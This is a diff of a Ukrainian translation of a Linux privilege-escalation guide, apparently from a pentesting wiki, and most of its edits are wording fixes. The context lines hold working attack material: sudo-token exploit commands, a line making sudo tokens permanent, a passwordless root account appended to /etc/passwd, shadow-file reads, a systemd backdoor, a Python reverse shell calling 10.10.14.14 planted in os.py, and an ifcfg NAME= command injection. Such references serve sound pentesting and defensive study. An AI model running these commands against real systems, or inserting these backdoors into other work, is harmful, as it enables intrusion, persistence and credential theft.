@ -861,7 +861,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
 | 
			
		||||
```
 | 
			
		||||
Нарешті, виконання ураженого SUID бінарного файлу має активувати експлойт, що дозволяє потенційне компрометування системи.
 | 
			
		||||
 | 
			
		||||
## Shared Object Hijacking
 | 
			
		||||
## Викрадення спільних об'єктів
 | 
			
		||||
```bash
 | 
			
		||||
# Lets find a SUID using a non-standard library
 | 
			
		||||
ldd some_suid
 | 
			
		||||
@ -928,7 +928,7 @@ https://gtfoargs.github.io/
 | 
			
		||||
 | 
			
		||||
Якщо всі ці вимоги виконані, **ви можете ескалувати привілеї, використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
 | 
			
		||||
 | 
			
		||||
- **Перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root-оболонку, виконайте `sudo su`):
 | 
			
		||||
- **перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root-оболонку, виконайте `sudo su`):
 | 
			
		||||
```bash
 | 
			
		||||
bash exploit.sh
 | 
			
		||||
/tmp/activate_sudo_token
 | 
			
		||||
@ -939,7 +939,7 @@ sudo su
 | 
			
		||||
bash exploit_v2.sh
 | 
			
		||||
/tmp/sh -p
 | 
			
		||||
```
 | 
			
		||||
- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними та дозволяє всім користувачам використовувати sudo.
 | 
			
		||||
- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними і дозволяє всім користувачам використовувати sudo.
 | 
			
		||||
```bash
 | 
			
		||||
bash exploit_v3.sh
 | 
			
		||||
sudo su
 | 
			
		||||
@ -973,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
 | 
			
		||||
```
 | 
			
		||||
### DOAS
 | 
			
		||||
 | 
			
		||||
Існують деякі альтернативи до бінарного файлу `sudo`, такі як `doas` для OpenBSD, не забудьте перевірити його конфігурацію за адресою `/etc/doas.conf`
 | 
			
		||||
Є кілька альтернатив до бінарного файлу `sudo`, таких як `doas` для OpenBSD, не забудьте перевірити його конфігурацію за адресою `/etc/doas.conf`
 | 
			
		||||
```
 | 
			
		||||
permit nopass demo as root cmd vim
 | 
			
		||||
```
 | 
			
		||||
### Sudo Hijacking
 | 
			
		||||
 | 
			
		||||
Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв, і ви отримали оболонку в контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який буде виконувати ваш код як root, а потім команду користувача. Потім **змініть $PATH** контексту користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує sudo, ваш виконуваний файл sudo виконується.
 | 
			
		||||
Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв, і ви отримали оболонку в контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконуватиме ваш код як root, а потім команду користувача. Потім **змініть $PATH** контексту користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує sudo, ваш виконуваний файл sudo виконується.
 | 
			
		||||
 | 
			
		||||
Зверніть увагу, що якщо користувач використовує іншу оболонку (не bash), вам потрібно буде змінити інші файли, щоб додати новий шлях. Наприклад, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ви можете знайти інший приклад у [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
 | 
			
		||||
 | 
			
		||||
@ -998,7 +998,7 @@ zsh
 | 
			
		||||
echo $PATH
 | 
			
		||||
sudo ls
 | 
			
		||||
```
 | 
			
		||||
## Shared Library
 | 
			
		||||
## Спільна бібліотека
 | 
			
		||||
 | 
			
		||||
### ld.so
 | 
			
		||||
 | 
			
		||||
@ -1006,7 +1006,7 @@ sudo ls
 | 
			
		||||
 | 
			
		||||
Це означає, що конфігураційні файли з `/etc/ld.so.conf.d/*.conf` будуть прочитані. Ці конфігураційні файли **вказують на інші папки**, де **бібліотеки** будуть **шукатися**. Наприклад, вміст файлу `/etc/ld.so.conf.d/libc.conf` є `/usr/local/lib`. **Це означає, що система буде шукати бібліотеки всередині `/usr/local/lib`**.
 | 
			
		||||
 | 
			
		||||
Якщо з якоїсь причини **користувач має права на запис** на будь-який з вказаних шляхів: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, будь-який файл всередині `/etc/ld.so.conf.d/` або будь-яка папка в конфігураційному файлі всередині `/etc/ld.so.conf.d/*.conf`, він може мати можливість ескалувати привілеї.\
 | 
			
		||||
Якщо з якоїсь причини **користувач має права на запис** на будь-який з вказаних шляхів: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, будь-який файл всередині `/etc/ld.so.conf.d/` або будь-яка папка в конфігураційному файлі всередині `/etc/ld.so.conf.d/*.conf`, він може мати можливість підвищити привілеї.\
 | 
			
		||||
Ознайомтеся з **тим, як експлуатувати цю неправильну конфігурацію** на наступній сторінці:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -1048,8 +1048,8 @@ execve(file,argv,0);
 | 
			
		||||
```
 | 
			
		||||
## Можливості
 | 
			
		||||
 | 
			
		||||
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\
 | 
			
		||||
Read the following page to **learn more about capabilities and how to abuse them**:
 | 
			
		||||
Linux capabilities надають **підмножину доступних привілеїв root для процесу**. Це ефективно розбиває привілеї root **на менші та відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином, повний набір привілеїв зменшується, знижуючи ризики експлуатації.\
 | 
			
		||||
Прочитайте наступну сторінку, щоб **дізнатися більше про можливості та як їх зловживати**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
linux-capabilities.md
 | 
			
		||||
@ -1057,14 +1057,14 @@ linux-capabilities.md
 | 
			
		||||
 | 
			
		||||
## Дозволи на директорії
 | 
			
		||||
 | 
			
		||||
In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\
 | 
			
		||||
The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**.
 | 
			
		||||
У директорії **біт для "виконання"** означає, що користувач може "**cd**" у папку.\
 | 
			
		||||
**Біт "читання"** означає, що користувач може **переглядати** **файли**, а **біт "запису"** означає, що користувач може **видаляти** та **створювати** нові **файли**.
 | 
			
		||||
 | 
			
		||||
## ACLs
 | 
			
		||||
## ACL
 | 
			
		||||
 | 
			
		||||
Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
 | 
			
		||||
Списки контролю доступу (ACL) представляють собою вторинний рівень дискреційних дозволів, здатний **перекривати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або заважаючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux).
 | 
			
		||||
 | 
			
		||||
**Give** user "kali" read and write permissions over a file:
 | 
			
		||||
**Надайте** користувачу "kali" дозволи на читання та запис для файлу:
 | 
			
		||||
```bash
 | 
			
		||||
setfacl -m u:kali:rw file.txt
 | 
			
		||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
 | 
			
		||||
@ -1124,7 +1124,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
 | 
			
		||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
 | 
			
		||||
 | 
			
		||||
Всі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 року та 13 травня 2008 року, можуть бути під впливом цього багу.\
 | 
			
		||||
Цей баг виникає при створенні нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можуть бути обчислені, і **маючи ssh публічний ключ, ви можете шукати відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
 | 
			
		||||
Цей баг виникає під час створення нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можуть бути обчислені, і **маючи ssh публічний ключ, ви можете шукати відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
 | 
			
		||||
 | 
			
		||||
### SSH Цікаві конфігураційні значення
 | 
			
		||||
 | 
			
		||||
@ -1181,14 +1181,14 @@ ls -l /etc/profile /etc/profile.d/
 | 
			
		||||
 | 
			
		||||
### Файли Passwd/Shadow
 | 
			
		||||
 | 
			
		||||
В залежності від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або може бути резервна копія. Тому рекомендується **знайти всі з них** та **перевірити, чи можете ви їх прочитати**, щоб побачити **чи є там хеші**:
 | 
			
		||||
В залежності від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або може бути резервна копія. Тому рекомендується **знайти всі з них** і **перевірити, чи можете ви їх прочитати**, щоб побачити **чи є там хеші**.
 | 
			
		||||
```bash
 | 
			
		||||
#Passwd equivalent files
 | 
			
		||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
 | 
			
		||||
#Shadow equivalent files
 | 
			
		||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
 | 
			
		||||
```
 | 
			
		||||
В деяких випадках ви можете знайти **хеші паролів** всередині файлу `/etc/passwd` (або еквівалентного).
 | 
			
		||||
В деяких випадках ви можете знайти **password hashes** всередині файлу `/etc/passwd` (або еквівалентного).
 | 
			
		||||
```bash
 | 
			
		||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
 | 
			
		||||
```
 | 
			
		||||
@ -1204,24 +1204,24 @@ python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
 | 
			
		||||
```
 | 
			
		||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
 | 
			
		||||
```
 | 
			
		||||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
 | 
			
		||||
Наприклад: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
 | 
			
		||||
 | 
			
		||||
Тепер ви можете використовувати команду `su` з `hacker:hacker`
 | 
			
		||||
 | 
			
		||||
Альтернативно, ви можете використовувати наступні рядки, щоб додати фейкового користувача без пароля.\
 | 
			
		||||
Альтернативно, ви можете використовувати наступні рядки, щоб додати фіктивного користувача без пароля.\
 | 
			
		||||
ПОПЕРЕДЖЕННЯ: ви можете знизити поточний рівень безпеки машини.
 | 
			
		||||
```
 | 
			
		||||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
 | 
			
		||||
su - dummy
 | 
			
		||||
```
 | 
			
		||||
NOTE: У платформах BSD `/etc/passwd` знаходиться за адресою `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`.
 | 
			
		||||
NOTE: На платформах BSD `/etc/passwd` знаходиться за адресою `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`.
 | 
			
		||||
 | 
			
		||||
Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **файл конфігурації служби**?
 | 
			
		||||
```bash
 | 
			
		||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
 | 
			
		||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
 | 
			
		||||
```
 | 
			
		||||
Наприклад, якщо машина працює на **tomcat** сервері і ви можете **змінити файл конфігурації служби Tomcat всередині /etc/systemd/,** тоді ви можете змінити рядки:
 | 
			
		||||
Наприклад, якщо машина працює на сервері **tomcat** і ви можете **змінити файл конфігурації служби Tomcat всередині /etc/systemd/,** тоді ви можете змінити рядки:
 | 
			
		||||
```
 | 
			
		||||
ExecStart=/path/to/backdoor
 | 
			
		||||
User=root
 | 
			
		||||
@ -1321,13 +1321,13 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
 | 
			
		||||
 | 
			
		||||
Якщо ви знаєте, **звідки** буде виконуватись python-скрипт і ви **можете записувати в** цю папку або ви **можете модифікувати python-бібліотеки**, ви можете змінити бібліотеку OS і створити бекдор (якщо ви можете записувати, де буде виконуватись python-скрипт, скопіюйте та вставте бібліотеку os.py).
 | 
			
		||||
 | 
			
		||||
Щоб **створити бекдор для бібліотеки**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT):
 | 
			
		||||
Щоб **створити бекдор у бібліотеці**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT):
 | 
			
		||||
```python
 | 
			
		||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
 | 
			
		||||
```
 | 
			
		||||
### Logrotate exploitation
 | 
			
		||||
 | 
			
		||||
Уразливість у `logrotate` дозволяє користувачам з **права на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, який часто працює як **root**, може бути маніпульований для виконання довільних файлів, особливо в таких директоріях, як _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація журналів.
 | 
			
		||||
Уразливість у `logrotate` дозволяє користувачам з **права на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, який часто працює як **root**, може бути маніпульований для виконання довільних файлів, особливо в таких директоріях, як _**/etc/bash_completion.d/**_. Важливо перевіряти права доступу не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація журналів.
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Ця уразливість впливає на версію `logrotate` `3.18.0` та старіші
 | 
			
		||||
@ -1342,11 +1342,11 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
 | 
			
		||||
 | 
			
		||||
**Посилання на уразливість:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
 | 
			
		||||
 | 
			
		||||
Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-<whatever>` у _/etc/sysconfig/network-scripts_ **або** він може **відредагувати** існуючий, то ваша **система зламано**.
 | 
			
		||||
Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-<whatever>` у _/etc/sysconfig/network-scripts_ **або** може **відредагувати** існуючий, то ваша **система зламано**.
 | 
			
		||||
 | 
			
		||||
Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно як .INI файли. Однак, вони \~підключаються\~ на Linux через Network Manager (dispatcher.d).
 | 
			
		||||
Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно так само, як .INI файли. Однак вони \~підключаються\~ на Linux через Network Manager (dispatcher.d).
 | 
			
		||||
 | 
			
		||||
У моєму випадку, атрибут `NAME=` в цих мережевих скриптах не обробляється належним чином. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**.
 | 
			
		||||
У моєму випадку атрибут `NAME=` в цих мережевих скриптах не обробляється належним чином. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**.
 | 
			
		||||
 | 
			
		||||
Наприклад: _/etc/sysconfig/network-scripts/ifcfg-1337_
 | 
			
		||||
```bash
 | 
			
		||||
@ -1358,7 +1358,7 @@ DEVICE=eth0
 | 
			
		||||
 | 
			
		||||
Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart`, а іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, що знаходяться в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`.
 | 
			
		||||
 | 
			
		||||
З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через сумісний шар в Upstart.
 | 
			
		||||
З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через шар сумісності в Upstart.
 | 
			
		||||
 | 
			
		||||
**systemd** виникає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user